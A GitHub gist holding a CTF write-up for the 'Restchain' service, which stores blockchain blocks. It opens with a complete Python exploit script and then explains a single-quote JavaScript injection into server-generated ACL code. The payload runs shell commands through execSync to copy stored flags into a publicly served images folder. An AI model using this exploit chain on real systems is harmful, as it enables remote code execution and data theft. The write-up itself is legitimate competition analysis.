Skip to content

Instantly share code, notes, and snippets.

@neex
Created June 8, 2018 14:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save neex/2217b7913a7981eea99c2914cc081dfa to your computer and use it in GitHub Desktop.
Save neex/2217b7913a7981eea99c2914cc081dfa to your computer and use it in GitHub Desktop.
Restchain Writeup
import requests
import sys
import random
ALPHA = "0123456789abcdef"
target = "http://" + sys.argv[1] + ":6060"
r = requests.get(target + "/api/crypto/privatekey")
private_key = r.headers["X-Restchain-Private-Key"]
public_key = r.headers["X-Restchain-Public-Key"]
print private_key, public_key
x = ''.join(random.choice(ALPHA) for _ in xrange(32)) + '.png'
payload = "'+(String(require('child_process').execSync('tail -n${IFS}+1 /srv/restchain/data/blocks/*/* | grep FAUST | /srv/restchain/bin/restchain-persist /srv/restchain/data/public/images/" + x + "')))+'"
r = requests.get(target + "/api/acl/require-secret", params={"secret": payload})
acl = r.content.replace('\n', '')
nonce = ''.join(random.choice(ALPHA) for _ in xrange(64))
print nonce
fake_flag = ''.join(random.choice(ALPHA) for _ in xrange(64))
r = requests.post(target + '/api/crypto/sign', headers={'X-Restchain-Block-Nonce': nonce, 'X-Restchain-Private-Key': private_key, 'X-Restchain-Block-Acl': acl}, data=fake_flag)
sign = r.headers['X-Restchain-Signature']
print sign
r = requests.put(target + '/api/block', headers={'X-Restchain-Block-Nonce': nonce, 'X-Restchain-Private-Key': private_key, 'X-Restchain-Block-Acl': acl, 'X-Restchain-Previous': '6' * 64, 'X-Restchain-Signature': sign, 'X-Restchain-Signer': public_key}, data=fake_flag)
print requests.get(target + '/images/' + x).content

Service overview

RestChain is a service for storing blocks of a private blockchain, written in Go. It provides APIs for storing and retrieving blocks, as well as supplementary APIs for generating key pairs and generating/verifying cryptographic signatures. The content of the blocks can be arbitrary blob (it actually contained flags).

The service includes access control, which allows to specify ACLs for individual blocks. There are four types of rules:

  1. Always allow.
  2. Always deny.
  3. Allow access if the access request contains Acl-Secret header with a specific value (i.e. a password).
  4. Allow access if the access request contains a ed25519 signature for it, generated using one of specified keys.

The access control is implemented in a strange way:

  1. User performs a request to the server to generate an ACL, specifying the rule and all required parameters (password / set of allowed public keys).
  2. The server generates some javascript code (!) that validates an access request, and adds HMAC signature of the code calculated using the server key.
  3. When the user wants to add a block, she supplies the generated js code and the HMAC for it. The server verifies the HMAC and saves the new block.
  4. When another user wants to access a stored block, the server runs the stored code in a separated nodejs process.

Even though it done in this unusual way, it doesn't leads to RCE immediately: as seen from above, js code is generated by the server, a HMAC must be provided for it to be run, and the secret key for it is unknown to the attacker.

Vulnerability & Exploitation

The fact that the server generates and executes some js code suggests code injection, which was found by our team during the first hour. The function that generates code for password check is clearly substituting unsanitized value:

func makeAclRequireSecret(params url.Values) (string, error) {
	if vs, ok := params["secret"]; !ok || len(vs) != 1 {
		return "", fmt.Errorf("parameter secret must be given exactly once")
	}
	secret := params.Get("secret")
	acl := `allowIff(httpHeader('Acl-Secret') === '` + secret + `');`
	return acl, nil
}

This code is intended to generate javascript that checks password, like

allowIff(httpHeader('Acl-Secret') === 'SOME_SECRET_VALUE_HERE')

but the value of "secret" is not sanitized, so we can use classic single quote injection and append js code to be executed.

However, exploitation was not that simple because of exfiltration problems. There were some iptables rules that prevented network connections, and even the whole service's file system seemed unwritable.

We investigated how the service itself blocks. They are stored in separate files, and the server uses suid binary restchain-persist to write them. This binary is owned by user restchain-persist which has write access to the file system. So, we constructed payload that uses this binary to grep all flags into public/images/ subfolder, which was accessible from webroot. Final payload was:

'+(String(require('child_process').execSync('tail -n +1 /srv/restchain/data/blocks/*/* | grep FAUST | /srv/restchain/bin/restchain-persist /srv/restchain/data/public/images/<SOME_RANDOM_NAME>.png)))+'

This payload was supplied as secret parameter for the code generator makeAclRequireSecret above, and gave us MAC for the code that executes the specified command.

After the competition we found out that the public/images/ folder allowed listing, and pcap dumps of our traffic suggest that some teams listed the folder and (probably) used the files created by our exploit. Good for them.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment